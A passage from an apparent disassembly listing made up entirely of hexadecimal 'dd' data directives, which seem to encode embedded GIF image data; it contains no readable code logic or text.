64A58C28h, 0CA74A6CAh, 0D0CA5C59h, 2813CA63h, 0CAB0110Ch dd 11CAC4ABh, 0C4284AB0h, 0CCABCAh, 0AF38BCABh, 0C4AB00BCh dd 0C7CCB2C7h, 11479C7Ch, 0F80BCB48h, 0C7A3DCBDh, 0B8C7D80Ah dd 0B47947ACh, 4BAC2C47h, 0B34B9CBBh, 7013C284h, 816C6847h dd 1DCBF81Dh, 34C1CC10h, 826C6D47h, 0C4CC44C3h, 1C6D4C44h dd 0CC2472CCh, 0C1473CC6h, 0F81DCC74h, 466C283Ch, 0CCCB947Ch dd 0E4CDCCD4h, 0C7D4CECCh, 0D0CD0480h, 1486005Ch, 0CD14D2CDh dd 60C88484h, 0D5CD54D4h, 0C4874D64h, 2C89C8h, 0D9802C89h dd 0B4DACDA4h, 0CDB4DBCDh, 1CDD001h, 0F4DDCD98h, 0CE04DFCDh dd 0E1CE14E0h, 64DF4E24h, 0CE449344h, 0E5CE54E4h, 74E6CE64h dd 0CE84E7CEh, 0E9CE94E8h, 0B4EACEA4h, 0CEC4EBCEh, 0EDCED4ECh dd 0F4EECEE4h, 0CF04EFCEh, 0F1CF14F0h, 34F2CF24h, 80CF3CFh dd 3B00h, 0 dd 38464947h, 0B46139h, 0FBE70019h, 20212200h, 38583A1Fh dd 3D163537h, 5C3C1C63h, 1C613D19h, 3E1F603Eh, 5F402360h dd 2162411Fh, 421E6241h, 5D422865h, 1D3E3F41h, 48226B46h dd 6D48236Eh, 1F684928h, 4646754Bh, 6F4D2546h, 21674B30h dd 4F267B4Fh, 764F2774h, 27745128h, 542A7952h, 7B542B7Bh dd 2C835625h, 59267F58h, 7A5A2E87h, 58865C2Eh, 5A435556h dd 855E3071h, 336E5A47h, 5F32805Fh, 87603184h, 5A8C6130h dd 6437595Ah, 5B5D5F88h, 388F6636h, 61628A66h, 62626260h dd 3B906A3Ah, 664E8E6Ah, 946B3A80h, 3B8F6D40h, 6953966Eh dd 91704181h, 47936E48h, 6A6C8E71h, 97734268h, 46856F58h dd 75479473h, 9A764397h, 4283705Fh, 7849A176h, 71727497h dd 4B9C7B49h, 795E9B7Ch, 9A7A5994h, 48777777h, 7778A980h dd 85796D76h, 79A8804Bh, 7E6A7879h, 91807094h, 5FA48565h dd 8282A289h, 97877083h, 85878583h, 90598585h, 0B59159B4h dd 5D8A8887h, 8D73B592h, 948C84A6h, 8C8D8C8Bh, 908F8E8Dh dd 0AC977191h, 95959494h, 9F669595h, 0A19990C1h, 92C1A16Ch dd 9B92A199h, 0C2A36DA4h, 95AD9C8Ch, 9D8DA29Bh, 9D9B99A8h dd 719B9B9Bh, 0A281C3A5h, 9F9F9FB4h, 8EA2A2A2h, 0B075BBAAh dd 0CDAF7ECCh, 80CEB37Dh, 0ABABCFB4h, 0C2AF96ABh, 83BBAE9Eh dd 0ACACD0B4h, 0C1B19AACh, 9EB2B0AFh, 0B5ABCAB7h, 0D6BB8EBBh dd 0A8D9C185h, 0BC9DC7B9h, 0B6B7B8D1h, 0A3D9BF92h, 0B8B9CFBCh dd 0D4BE9BB7h, 0ACD9C191h, 0C28FC8BBh, 0DAC38DD9h, 9CBABABAh dd 0BBBBD8C1h, 0DAC29CBBh, 0BDDBC39Ah, 0C1A7BCBCh, 0DBC39ED2h dd 9CCFC1AEh, 0C0C2DDC6h, 0DEC99CBEh, 0C2C1C1C1h, 0C3B8C1C1h dd 0DFCA9BCEh, 9BE1CE93h, 0C4C4E1CDh, 0C5C5C5C4h, 0C6E1CF9Ah dd 0C6C9C6C6h, 0E4CDA9C4h, 0AADBCCB1h, 0CBC6E5CFh, 0E6D1AACEh dd 0AAD2CCC4h, 0CCCCE8D3h, 0D3CEC6CCh, 0AACDCDCDh, 0CFC6E9D5h dd 0D3CFC7D4h, 0CCD4D0C6h, 0D1C7CFCFh, 0D5D2C7D5h, 0D2D0D0D0h dd 0D9ABCED0h, 0D6D3C7EAh, 0BBD1D1D1h, 0D2D2E4D7h, 0EDDDABD2h dd 0D2D8D6CAh, 0D5D5D5D4h, 0EEE0ACD5h, 0A9D6D6D6h, 0D8D7EFE2h dd 0DADADAD9h, 0C3D8DADCh, 0DBDBEBE0h, 0D9DBDCDBh, 0DDDCDCDCh dd 0DDDDDCDDh, 0DCDDDFDDh, 0DFDEDEDEh, 0DFE0DEDFh, 0F0E7CADFh dd 0E5E0E2E3h, 0E3E3DFE2h, 0E4E4E4E3h, 0E8F1E7D9h, 0E6E6E3E5h dd 0F5E9D8E6h, 0E9E8E8E8h, 0EAEAE9E9h, 0EEEBE8EAh, 0EBF4EDE1h dd 0ECEDEBEBh, 0E9ECEFECh, 0EEEDEDEDh, 0EFEFEEEEh, 0EDEFF1EFh dd 0F1EEF0F3h, 0F2F2F1F1h, 0F8F3EDF2h, 0F4F3F3F3h, 0F4F5F4F4h dd 0F5F5F5F4h, 0F7FFFAE2h, 0F6F6F3F5h, 0FAF7F3F6h, 0F8F7F7F7h dd 0F9F9F8F8h, 0FAFAFAF9h, 0FDFBFBFBh, 0FCFCFBFBh, 0FDFDFDFCh dd 0FFFEFEFEh, 0FFFFFEFFh, 3 dup(0FFFFFFFFh), 4F921FFh dd 0FF000A01h, 2C00h, 0B40000h, 8000019h, 0C9FF00FEh, 0D68B85EAh dd 5EAF58ACh, 6A9562C1h, 0C487B118h, 489BFD8Eh, 8BC5A2B1h dd 0DC6A3318h, 0C7A3B1C8h, 8A43208Fh, 184ED8DCh, 5CB75E30h dd 8A6542A9h, 307DB614h, 4919EE63h, 983E62F3h, 0DCEA7335h dd 0B422F3C9h, 713CA14Eh, 122964C2h, 93316AA5h, 1498E1C6h dd 0FB9E3DE6h, 0B90CF5EAh, 0ABD4DF2Fh, 62058D3Ah, 215128B4h dd 35BA9040h, 0A987098Dh, 0F6F48A55h, 6F89CBBDh, 0FB8FD61Fh dd 1B9DBDF0h, 3A9CD752h, 71D0F476h, 0CDEE2E84h, 5ACC6DA6h dd 26F39B6Ch, 7788C3DDh, 0C6831A96h, 0F044194Dh, 17A3CEE2h dd 74BA9D8Fh, 1189F4E7h, 3EDE715Ch, 2671356Dh, 0E3DA4D1Eh dd 0AE5A2C24h, 8F678A0Ch, 0DE70BBDEh, 4D9369B6h, 0CE179B8Eh dd 13EDEB14h, 0E96DDA17h, 0FA2BC0DFh, 90C4D251h, 0CCE775BBh dd 0AD469B79h, 9B703539h, 3DC154A2h, 0BFC530D1h, 0FD562967h dd 0DFDF3377h, 0FEB4F398h, 513ECCC7h, 0E5DD4E34h, 0AD17A69Dh dd 0EFF6FB3Dh, 0F787BF18h, 4C2DB19Dh, 0B69AFFF2h, 7C54F98Fh dd 0E115F575h, 0E5254421h, 6CCDE37Ch, 0E0A334D7h, 9208D633h dd 50530E42h, 0FF5C9F97h, 3FDE15B4h, 8F13ECE9h, 3C8F576h dd 59FF3D13h, 0E57F4FB4h, 61113549h, 4EA3FD31h, 0C3FE1B5Ch dd 0E4F43ECEh, 0FB8BA203h, 76A1C3A8h, 969764F8h, 13FE2688h dd 64E13EE3h, 0EC452234h, 4D9DB454h, 5D93D515h, 0C8CCF85Bh dd 0E513851Dh, 0C73488A1h, 32655954h, 4CE32CCBh, 0F0D87C34h dd 504E1201h, 3D7E6477h, 88DF48FAh, 0DED88624h, 33A4FB45h dd 9CF76E91h, 178AD143h, 4563089Eh, 24E76A39h, 7B9D57Bh dd 60D99DA5h, 63461844h, 3FE41532h, 0DE59D5BAh, 823CFFA1h dd 42902ECCh, 0C72FCB9Ah, 1C8CA330h, 0C1D0D040h, 95302C16h dd 0AA363E54h, 0E937A469h, 7E5F49B1h, 4F945AA4h, 0B676897Fh dd 0B9FEA04Fh, 3DCFFA9Dh, 1F89EE67h, 6AA5DAADh, 7D83AC24h dd 4CA32846h, 0ABE88915h, 8FFB0A22h, 0A2B4C118h, 0D4ABB2ACh dd 6F2F8C52h, 0B43C114h, 51D1A416h, 97E246A1h, 0E6D8B09Fh dd 0BD759F47h, 0AC6C49BEh, 1157A116h, 0E9EDE5AEh, 82E844E4h dd 8468246Bh, 0A8AC63EEh, 9306E9F5h, 691AE6B0h, 88B90C2Ch dd 0A0BFAFE2h, 180A72D8h, 4310FC46h, 71981C08h, 8DEBB6ADh dd 0A59A6DC5h, 6F9D7BD2h, 0AE5B8AF9h, 0A7E6E8ACh, 0CAED45AEh dd 18BC1E5Ah, 0C4D51879h, 4EF4C11Ah, 5C5A35A8h, 7C8D456Ch dd 9ACBC992h, 1487F28Ch, 320F843h, 411C120Ah, 3242C2C4h dd 24A9A7ACh, 0ACB144DBh, 71CB0F15h, 0EB9F3FADh, 72EFC65Bh dd 4C688E74h, 0BCAB291Bh, 515BEB2Ah, 0F23CA212h, 0AC972488h dd 350E03A1h, 68240B8h, 51E19C0Fh, 0B88B12B7h, 0B31FC46Eh dd 70D16149h, 0BA748C63h, 31EBB347h, 0A46F20ADh, 6EDBFE56h dd 0DFB46CAFh, 8D1DD14h, 1508721h, 9C2B0982h, 30601E0h dd 0D9C3B13Ch, 4E37E73Eh, 5B7B6BC9h, 0A66CAAD1h, 75C5F71Ah dd 4539EDD3h, 3529DF19h, 539B7AAFh, 0A5E5C41Dh, 1EBE1379h dd 4D15D53h, 83D1F48Dh, 0B0641403h, 141005C1h, 7017C330h dd 0BCDBAE45h, 67CE55EEh, 5918F27Eh, 0FFC8D57Ch, 1ADCFA0Dh dd 678FFE77h, 1377E7C7h, 7E5DDAE9h, 2FD13EEAh, 29B7B93Fh dd 0BCDDAF2Bh, 4640BD13h, 60100A04h, 1C0902C0h, 201B0370h dd 7F278DA1h, 0F1EF0A46h, 4927F03Bh, 8BCEFDF4h, 47D2BCDEh dd 0F51E55C7h, 0A2898313h, 3F4226h, 0F98048D1h, 0B6D15509h dd 70151185h, 80C0461h, 2A0200h, 20003085h, 8C441838h dd 919832C7h, 9816406h, 1A820825h, 12C1C096h, 266A2562h dd 0BA0888CCh, 0A4010560h, 0D13B85F0h, 48670C1Fh, 0CAC89CC3h dd 0A1CC353Bh, 1DF2450Eh, 87F0ED50h, 0A20C400Ah, 44488710h dd 4048Fh, 3Bh, 0 dd 38464947h, 0F96139h, 35A501DBh, 0F0E4D000h, 0D1EBE6CEh dd 0E5D4F1E5h, 0ECE7CFEBh, 0D5F2E6D2h, 0E8D3ECE6h, 0F4E7D3E7h dd 0D0EDE7D6h, 0E9D4EDE9h, 0F5E8D4E8h, 0D1EFE8D7h, 0EBD2EFEAh dd 0F0E9D9F0h, 0D3EAEBD5h, 0EADAF1ECh, 0EBEADDF1h, 0D4EBECD7h dd 0EBDBF2EDh, 0ECEBDEF2h, 0D5ECEDD8h, 0ECDCF3EEh, 0EDECDFF3h dd 0D7EDEED9h, 0EDE0F4EFh, 0EEEFDAEEh, 0E1F4EEDDh, 0EDE4EFEEh dd 0F5EFDEF5h, 0DFF7EEE5h, 0F0E2F6F0h, 0F8F1E0F0h, 0E1F1F1E3h dd 0F0E8F9F2h, 0F3F2E5F9h, 0E6FAF3E3h, 0F4E4F4F3h, 0F5F2EDFBh dd 0EEF5F4E7h, 0F5E8F6F3h, 0F7F6E9F6h, 8 dup(0FFFFFFFFh) dd 4F921FFh, 3F000A01h, 2C00h, 0F90000h, 60001DBh, 7089C0FEh dd 2F0A2C48h, 8972A4C8h, 0CC3738DCh, 552A1268h, 2317271Eh dd 7AEDA916h, 788844BFh, 0CB848622h, 4CD0F4E8h, 70DFBB06h dd 4F4E7578h, 6DD9B9CAh, 0C7A7CF7Dh, 46636CC1h, 86856982h dd 656D8587h, 6C63666Bh, 92917F6Dh, 79945C44h, 78577B97h dd 4F54557Dh, 9CA1A09Fh, 0A6935875h, 908D8180h, 43ADACA7h dd 52B1B0A3h, 0B6B5A19Eh, 0B94D4EB7h, 0AE9CA217h, 4BA6C0BFh dd 9DC47D7Ah, 0B6C84F4Ah, 214EB8B0h, 0D2D1D0CFh, 0D6D5CDCFh dd 98967EBDh, 0A572C1A5h, 0E0C6E076h, 0D7D7E4B2h, 0EAD3B74Bh dd 0E621ECEBh, 56E4F0EFh, 0F2C1C456h, 0B4BCC973h, 0B550C9BBh dd 519AF0FAh, 0A0AED4FBh, 0A6CE7541h, 3030DB39h, 548043A0h dd 223949EEh, 74444991h, 0DC397510h, 0C7A0F0E8h, 3E41208Fh dd 1971C771h, 2D155DC4h, 0B2C95C96h, 3090A825h, 844CA63h dd 26C3E5CDh, 0B46A5051h, 0FEE7B3C9h, 834099B5h, 0B3E86D0Ah dd 1DA3D1A8h, 0CA1CBE49h, 0A7D3A9B4h, 9D4AA350h, 0D5AAB54Ah dd 6AB358ABh, 0ABB5CADDh, 0C360AFD7h, 0B64B1D8Ah, 68B3D9ACh dd 0CB5DAAD3h, 0B7DBADB6h, 9DCAE370h, 0DDAEB74Bh, 0EAF378BBh dd 0AFB7CBDDh, 380BFDFh, 0B84C1E0Bh, 88C3E1B0h, 0CC5E2B13h dd 0C7E3B1B8h, 9E4B2390h, 0E5B2B94Ch, 6B3398CBh, 0B3B9CCDEh dd 43A0CFE7h, 0BA4D1E8Bh, 0A8D3E9B4h, 0CD5EAB53h, 0D7EBB5BAh dd 9ECB63B0h, 0EDB6BB4Dh, 0EB73B8DBh, 0B7BBCDDEh, 83C0DFEFh dd 0BC4E1F0Bh, 0C8E3F1B8h, 0CE5F2B93h, 0E7F3B9BCh, 9F4BA3D0h dd 0F5BABD4Eh, 6BB3D8EBh, 0BBBDCEDFh, 0C3E0EFF7h, 0BE4F1F8Bh dd 0E8F3F9BCh, 0CF5FABD3h, 0F7FBBDBEh, 9FCBE3F0h, 0FDBEBF4Fh dd 0EBF3F8FBh, 0BFBFCFDFh, 600FFFFh, 480E028h, 81E06816h dd 0E0A82608h, 0E8360C82h, 461083E0h, 1484E128h, 85E16856h dd 0E1A86618h, 76FE1C86h, 2087E1E8h, 88E22886h, 0E2689624h dd 0A8A62889h, 0B62C8AE2h, 308BE2E8h, 8CE328C6h, 0E368D634h dd 0A8E6388Dh, 0F63C8EE3h, 408FE3E8h, 90E42906h, 0E4691644h dd 0A9264891h, 364C92E4h, 5093E4E9h, 94E52946h, 0E5695654h dd 0A9665895h, 765C96E5h, 6097E5E9h, 98E62986h, 0E6699664h dd 0A9A66899h, 0B66C9AE6h, 709BE6E9h, 9CE729C6h, 0E769D674h dd 0A9E6789Dh, 0F67C9EE7h, 809FE7E9h, 0A0E82A06h, 0E86A1684h dd 0AA2688A1h, 368CA2E8h, 90A3E8EAh, 0A4E92A46h, 0E96A5694h dd 0AA6698A5h, 769CA6E9h, 0A0A7E9EAh, 0A8EA2A86h, 0EA6A96A4h dd 0AAA6A8A9h, 0B6ACAAEAh, 0B0ABEAEAh, 0ACEB2AC6h, 0EB6AD6B4h dd 0AAE6B8ADh, 0F6BCAEEBh, 12AFEBEAh, 0B0C26092h, 8248842Ch dd 0DB0EC3B0h, 742E0BC2h, 0D0B26C78h, 0B4C2D09Ah, 2C785826h dd 709AD1B2h, 0C2DB0ADh, 0C884C24Bh, 0B5ED9B76h, 2DAB48D0h dd 3417FE49h, 0DBB8ECF8h, 90D1B7Eh, 0C54B7ED4h, 0BAE0904h dd 30ECB6EDh, 95BCAE64h, 0B3E01BD0h, 0AF8B46E2h, 2B20B534h dd 0F845142Fh, 3C0AD87h, 0C18B8347h, 9F916AE8h, 8B92F7BDh dd 0F2DE4090h, 0F211879Bh, 0B1F0CC51h, 421398EBh, 0E17F1AB2h dd 831FC2DEh, 1046F0ECh, 7A86E2E7h, 0B2AC56E1h, 8CB52542h dd 6DE31BF0h, 4CCEECBh, 0B7B234B7h, 0C60BF4EEh, 4C06EB77h dd 0F32BC5B2h, 0F3B9F3F4h, 0B541B1C2h, 347CA1D9h, 51D35D2h dd 0CB37D32Fh, 3A74B501h, 522F9CEFh, 0B1BD62FAh, 0EBA421D6h dd 5F29CC5Ch, 2448F60Ch, 1C363D07h, 2FE06EDAh, 4C671E72h dd 876BD575h, 93DBAFB2h, 4372B1Ch, 0EDAD49C6h, 5DE778DDh dd 0F72ED030h, 9DFC24Dh, 0D4F826FCh, 0CB8E1B6Ah, 2D66EECFh dd 9021C8C9h, 0B9E34101h, 0BBB53DD5h, 0CD5E4B49h, 0F29B25D2h dd 2462D974h, 756D39C0h, 0E17A0BB7h, 76D35FA2h, 54C2E2FEh dd 0AAE6C59Bh, 0DDB9E6BFh, 8F0EC75Fh, 624F6FCDh, 0E7AA193Bh dd 83E3DAAEh, 0EF944CF3h, 0F41D011Dh, 5F137E2Fh, 0B5A3EAFCh dd 0CCE46EDEh, 0DF3A446Fh, 0FB8F44AEh, 0DE09A2F4h, 0B7D9CF70h dd 0ACE5BB34h, 0E6B8B084h, 0FEE033C5h, 4F27C866h, 13DF973h dd 0B7E9CC1Fh, 65C68EE3h, 3E4F5F8Fh, 1CA13DFDh, 0AC68435h dd 7F2DC45Eh, 64821082h, 0D0BCA7ACh, 0B3803001h, 0F6182023h dd 249CB4C0h, 0E3BB3104h, 681EF61Dh, 0A179FB14h, 160A00Fh dd 4F246D6h, 7FA61A05h, 71E5BE3h, 742D86C1h, 0EB297081h dd 0B00B8170h, 0C430426h, 9BFE6A46h, 170D0ADFh, 45297882h dd 0E0B93B27h, 30375C33h, 1101416Fh, 0D74BE065h, 1DBBD664h dd 0E61A2DE6h, 7E49173Ah, 0B86910C8h, 505321AEh, 8716C8C2h dd 25D84440h, 9FFBF283h, 11E27D13h, 5C40B813h, 1116FAE4h dd 3A8F9691h, 4861116Ch, 0FE5CA24Ch, 0D84397C4h, 1E25918Dh dd 63199D71h, 497B82B0h, 28FD1FD1h, 173501C7h, 0E5ADC047h dd 0DE4AD95Ah, 4778C4EBh, 8F441C78h, 0B961C89h, 19831068h dd 29880C82h, 0E0B0C241h, 98314858h, 0D3465EC5h, 391B2320h dd 2BB63CBAh, 419CA892h, 0C9872AB7h, 58605E4Ch, 27642365h dd 14C742C7h, 93949152h, 0C11AC763h, 50763198h, 7117846Bh dd 0D78726A5h, 2579FDC9h, 23B4B691h, 49023F29h, 8C314654h dd 2AD78106h, 264C287Fh, 0C579EB08h, 0E2556394h, 125C4C97h dd 8CBB1DA4h, 0F81B185Fh, 0A52A1F11h, 63784C9Ah, 95298B17h dd 8EF2DA0Ch, 33A53CCCh, 691515D9h, 0E89D1302h, 65170168h dd 0D4A7CD99h, 8C2B9C92h, 9E73CA7h, 0B398AB39h, 826CF88Dh dd 4D99393Eh, 7764C66Dh, 0EFA5BCC9h, 824449C0h, 0F62BF416h dd 0AB2B583Ch, 366234F9h, 613298D4h, 0EA2F0881h, 0A481B5C0h dd 180CA899h, 72FEC4E1h, 13A28DD0h, 28FCEB96h, 40DA4650h dd 977451C9h, 1CE35504h, 84CF78CFh, 479AE12Eh, 801A68FCh dd 0AE654D32h, 0B503A4E4h, 0D2F114A8h, 0F4FA60D2h, 0A7DAC202h dd 133A8750h, 29344A58h, 52A35905h, 0BCC8B6DBh, 1AA78090h dd 0D54FAA75h, 0CEA14FC9h, 14C0262Dh, 0B9114DD9h, 0E622A5D5h dd 2A7C5897h, 5539063Ah, 28012041h, 3461847Fh, 72539A93h dd 0D4A32626h, 6012EB94h, 5262D65Ah, 29338AA4h, 0C9C23AAAh dd 0E652BF4Bh, 2C151A97h, 0D53B0813h, 9AE3382Dh, 0FA9C1D89h dd 95489AF8h, 8033163Ah, 76484FDh, 35BFAD5Bh, 4BEAB0F4h dd 0C2636216h, 72465082h, 0D691A78Dh, 5A3A1134h, 0B0D5D2A8h dd 1ED4D96h, 0D6D216CDh, 0ACABB67Ah, 476D2D09h, 0EAC3564Bh dd 0D365B742h, 7A744CE2h, 0B08ED91Bh, 6A9573B6h, 306B511Ch dd 0B8473EB1h, 0D3EB952Eh, 23888BA4h, 5588D65Ch, 67198E70h dd 0C15DFE9Bh, 8710F652h, 92B20865h, 60E6073Bh, 3DB5AC57h dd 5B72226Fh, 0C72C3E5Dh, 0AE8591B9h, 68B6F35h, 0A617AACBh dd 57CE489Ch, 0FD561845h, 6CBF845Ah, 4D6E8268h, 203A5F00h dd 34E7BF07h, 0A9F764F0h dd 5782EA39h, 0A9138116h, 51C24D8h, 0BBE252C2h, 7147BBB6h dd 0FD5E56F6h, 0FA6C735Eh, 2B172D48h, 6F019C32h, 5E07C398h dd 0EBD782B1h, 6FAD5CAh, 31860DC2h, 0AC82092Ch, 8842C71Ch dd 868121BCh, 2AE3072Bh, 0BB886F38h, 5F6AF1ADh, 0E0D86362h dd 7DD0C4B8h, 0C5D7811Ah, 633A615Eh, 0CDA4B76Bh, 5585D90h dd 9F6488Ah, 0C9014D5Fh, 2B8F2C7Ch, 0A1B100B7h, 0AD198D90h dd 8C4C664Ah, 542F15E2h, 0E5E20C6Fh, 4BEB2B66h, 4D88E984h dd 0E5CC080Ah, 0CE02C46Ch, 6A491874h, 85832061h, 669D0C6Eh dd 184FED2Eh, 0ACD064D2h, 0B66D6A19h, 0E1323883h, 565C59E5h dd 1802958h, 0AFDB4A0Ch, 57A494FEh, 61542258h, 0E822043Ah dd 0C5F9ECCBh, 1CC3B851h, 240CA0BEh, 0DC86773Bh, 67AA453Bh dd 0D6A32E6Ch, 70EFAAE2h, 9807A3CCh, 0A290370Dh, 35711A0Bh dd 0ADF0520Bh, 126FA255h, 0AC2D48F8h, 773D9D6Dh, 0A72F6350h dd 5230D83Eh, 6B5F86FDh, 0AE12123h, 168033F5h, 0E3D3643Ch dd 962826B8h, 977CD337h, 1E8DBB5Dh, 1EB5EEB2h, 6EAC4DB0h dd 72DDCBBDh, 9D9C06EBh, 2F5C2DC0h, 8973D9D3h, 0ED259F76h dd 0A258898Ah, 0A4B2C88Ah, 0EA1042C3h, 0D682FF63h, 35B71EE2h dd 316E12DCh, 0C30B2C6Bh, 69977838h, 4F6D2D2Dh, 0EEDDDE03h dd 7B522F37h, 84FF8566h, 85DEFA2Dh, 9D08BBCh, 0B816B710h dd 0C8E41EDBh, 16DFF0B1h, 0DFE3DBD8h, 8458B204h, 0AF2E70ECh dd 0F8CAE49Ch, 0AD15B86Fh, 0EBCB2142h, 77AF1BE6h, 8D61D033h dd 2CCF339Ch, 0BA36973Bh, 68053E81h, 4BCC4B70h, 33C14509h dd 0FEBB8ADEh, 0C71CFA62h, 303E8800h, 23AEC802h, 46C39685h dd 0C1EDD535h, 955F9DEEh, 0B620268Ah, 0BEAE35C1h, 0E8A0A414h dd 8FAEC87Bh, 0B0464223h, 12DF7D24h, 0B98CC6ECh, 0A9D97055h dd 1EE9EC7Dh, 5EE1D419h, 0C4E8515Bh, 61814C91h, 761887A3h dd 0E56133A5h, 0B0D645C7h, 815A2717h, 8F825A84h, 6BE8610h dd 145E0B8Fh, 38FCD2D9h, 9287ADC9h, 0DDDC6967h, 0BA6F23A5h dd 512053E4h, 0D39087D1h, 0B22FE867h, 6AE0CCEFh, 0B9199E7Ch dd 6D930984h, 0D4174561h, 0DF7ABB3Ch, 7D4F6A78h, 0C282208Bh dd 6F9BE8E1h, 677D7DE6h, 0F6FD0FCAh, 416528A3h, 0D39258AAh dd 1E1818FBh, 0D59EF5A0h, 0D3E379DEh, 47B1EFFBh, 0EF361CAFh dd 0BF407FFCh, 0C76FA5CCh, 0F78CA751h, 0E75C1FC7h, 0EBBE7F7Dh dd 0F0E21E09h, 1F15621Bh, 0FDF77E6Ch, 67F3E93Dh, 672F2031h dd 7C7D60Dh, 717DA405h, 27DE7583h, 4353CF66h, 5FED5B8h dd 0F66777D9h, 0E36F6EA6h, 43C7447Fh, 42F367Ch, 67D90928h dd 0E636580h, 3B04F12Ah, 351F3636h, 82501204h, 69577066h dd 36AB72F7h, 7106D441h, 77386612h, 0E07569D7h, 79109101h dd 537502C3h, 0F8398080h, 5856147Dh, 13012485h, 0F8408250h dd 75E78280h, 2C6D60A0h, 661C74B8h, 40481752h, 3401E073h dd 0F81B0708h, 41680A5Dh, 0F412A7B6h, 88513657h, 44800A44h dd 61576012h, 884783B3h, 74B41F84h, 485FA680h, 0B3C18311h dd 85105581h, 985EA849h, 70F860C6h, 82174485h, 8685F042h dd 0D0100090h, 85F08885h, 1533F0AFh, 58645A28h, 63041286h dd 9C7F4146h, 0A86C7196h, 85085004h, 7F85482Ch, 0C7F26817h dd 7E002704h, 0A087841h, 287C3D30h, 8568617Eh, 54071650h dd 86957117h, 86A1454Fh, 4B88D05Fh, 586E88D0h, 64885304h dd 756556C3h, 0C0C88930h, 82661402h, 8990FE86h, 8989B3C5h dd 52C80BC0h, 6B62572h, 0BE7F88C0h, 0E0460DF6h, 52340153h dd 0A880E6B1h, 588E8AA8h, 246298Ch, 9173B027h, 87E67466h dd 83801B09h, 0B8065531h, 0A3AA3D38h, 8BC0638Bh, 9E8736C4h dd 27E165D7h, 6280C04Bh, 0DA3E6676h, 0C0467796h, 7388EE8Ch dd 0E8024890h, 0B0988D57h, 89805C49h, 0DD8DC3DFh, 28E05FD8h dd 7FC8E28Fh, 5A5F37F6h, 38350AA0h, 33E0F70Fh, 5288976Eh dd 58AA8EE8h, 7535FF69h, 0AF0D88F3h, 508C6270h, 98DB08h dd 9A91900Ah, 572C87C8h, 0B28FE89h, 349D05Dh, 70928C29h dd 82E0DF68h, 18D47FDh, 0B34D7491h, 7448EE90h, 2702C7C3h dd 0B6500B90h, 88288109h, 0C371687h, 0B9190698h, 93F93D8Dh dd 120108B9h, 0F8B08E00h, 48592166h, 3708B083h, 0D7A08677h dd 7804153Ch, 0FF8CC05Ah, 380A6487h, 8A39005Ch, 4313A862h dd 0D9167E00h, 95E8B993h, 917918FEh, 2401B943h, 0F0F276F0h dd 4FC80D05h, 9209A94Bh, 76421018h, 84207980h, 41842972h dd 18629518h, 75B87293h, 2A8CE694h, 0C2C27119h, 94087C50h dd 1A93E95Fh, 8E00629h, 6D49585Fh, 69840046h, 996B9029h dd 3187AE92h, 7387794Fh, 0E8409959h, 6986D88Ch, 0EA459891h dd 0A81F7386h, 3F801395h, 8293F4B2h, 991A9A49h, 9A185D89h dd 0DC562965h, 84358830h, 3AA06987h, 0DA98F5A7h, 0F0D59370h dd 97179496h, 249BB996h, 17DB6EC7h, 6AC0BE61h, 1701E815h dd 10270581h, 93D0124Bh, 839A487Bh, 0B9619189h, 299AA8Fh dd 0D394C98Ah, 0A9B19729h, 9D88F987h, 6A93B922h, 69587070h dd 76901F0Eh, 429963A5h, 15D49BC9h, 7BE0298Dh, 0C186301Fh dd 0F4166C09h, 85F3C378h, 0F39A59A6h, 100A8B89h, 270279Ah dd 298EC82Eh, 78978AB9h, 3D38FA9Dh, 0B287A085h, 0B94808B9h dd 0FE29477Ch, 3059B69Ch, 0D6389604h, 50629B09h, 10C6F399h dd 276C3895h, 0CA1801F0h, 8498199Eh, 8B9C4048h, 72C70598h dd 9F59613Bh, 0D39F39A8h, 0C9FA9F83h, 7D941F96h, 4488D86Ch dd 19CA8B60h, 0A038FAA0h, 0DB08EA05h, 4A3808C9h, 9599B592h dd 0E376E669h, 87885F9h, 825065A1h, 0BF5FF65Eh, 8A1901B9h dd 0A1C97B0Dh, 1BA1FA1Dh, 0B0139330h, 0A23A2691h, 0AA91A940h dd 8C50279h, 86E90C06h, 608DA842h, 3C5A329h, 83EA35A0h dd 48A0606Ah, 4A0B9EE9h, 337A0D6Fh, 42A11A5Dh, 98CF8FCAh dd 9F93276h, 0AEA1AA49h, 0F04C05A9h, 3994AFA1h, 24A249F6h dd 49F79CEAh, 9639996h, 248EF06Fh, 9A68788h, 65A02A6h dd 36575A33h, 0FA785DDAh, 6C47C799h, 489D63DCh, 0D7000AF4h dd 4F93370h, 56A75A18h, 46D58E49h, 8F202707h, 5491A3B8h dd 0A9CCA55Ah, 21A4F9Ch, 0D0A6942h, 2A5EA879h, 1AFE8A98h dd 0A8EA01A6h, 0BA9D4566h, 0B9B81000h, 7E29E480h, 0A78D004Dh dd 0EA9D4B76h, 82BA7AA9h, 0F90516AAh, 0E9833729h, 899AA9A7h dd 1C10C010h, 0E997A430h, 0AD384005h, 0D6AAF013h, 88DC9F59h dd 0A8DAB300h, 899B3AB6h, 0DA3FA939h, 9B0A10A5h, 0E599A587h dd 0AAC30A07h, 0A68A77A4h, 80966116h, 9A26ACCAh, 24ACF91h dd 5D85D01Ch, 1AD4A448h, 42AD584h, 7F826AD8h, 0DADC3C5Ah dd 0ADFADEADh, 0BAA3BA67h, 784D0270h, 902973A8h, 12C9741h dd 4A76A9D8h, 5898E86h, 0E101DA7Ah, 43AA0128h, 0ACDAF200h dd 1796485Dh, 0D94293F0h, 997994AAh, 25A2E9BCh, 89F39CBBh dd 0B03B0300h, 68A8BB04h, 59B2A040h, 99EAB6A3h, 0BA3E0C8h dd 5A40AFC8h, 616AE69Eh, 9101C2DAh, 1A9EAEA9h, 79899011h dd 500439DDh, 8A508948h, 0B1DB1C9Ah, 7C9A19A6h, 5AD2A25Ah dd 0AD59BBB2h, 0AD588Eh, 0CB2CA24Bh, 5B2FFEB2h, 0B05B31ABh dd 21B08ADFh, 0D45D7BF0h, 6E0B3DA6h, 9CA69A3Eh, 4938B12Ah dd 8598C86h, 49A2CAD3h, 702101E0h, 8DDB21A1h, 64B4FB4Eh dd 0E9F30139h, 9C9B55A6h, 3AAD7973h, 0B9F5B59Bh, 0B5DB2EB5h dd 60A8CA61h, 3409B06Ah dd 0A6499B58h, 95741B8Dh, 0C1399338h, 1E0B701h, 4E85001Fh dd 98D3B960h, 44B7094h, 1C048B49h, 0F8347AC0h, 0B79B4D93h dd 2A8BC010h, 0BB3C9A6Bh, 0A1287B9Bh, 86ACCB0Dh, 0FA33B88Bh dd 65EB8CB2h, 8680B33Fh, 9616A100h, 9D9FA02h, 180B5B9Ch dd 0C01BB9AAh, 692BC601h, 159FE051h, 7B48B9F9h, 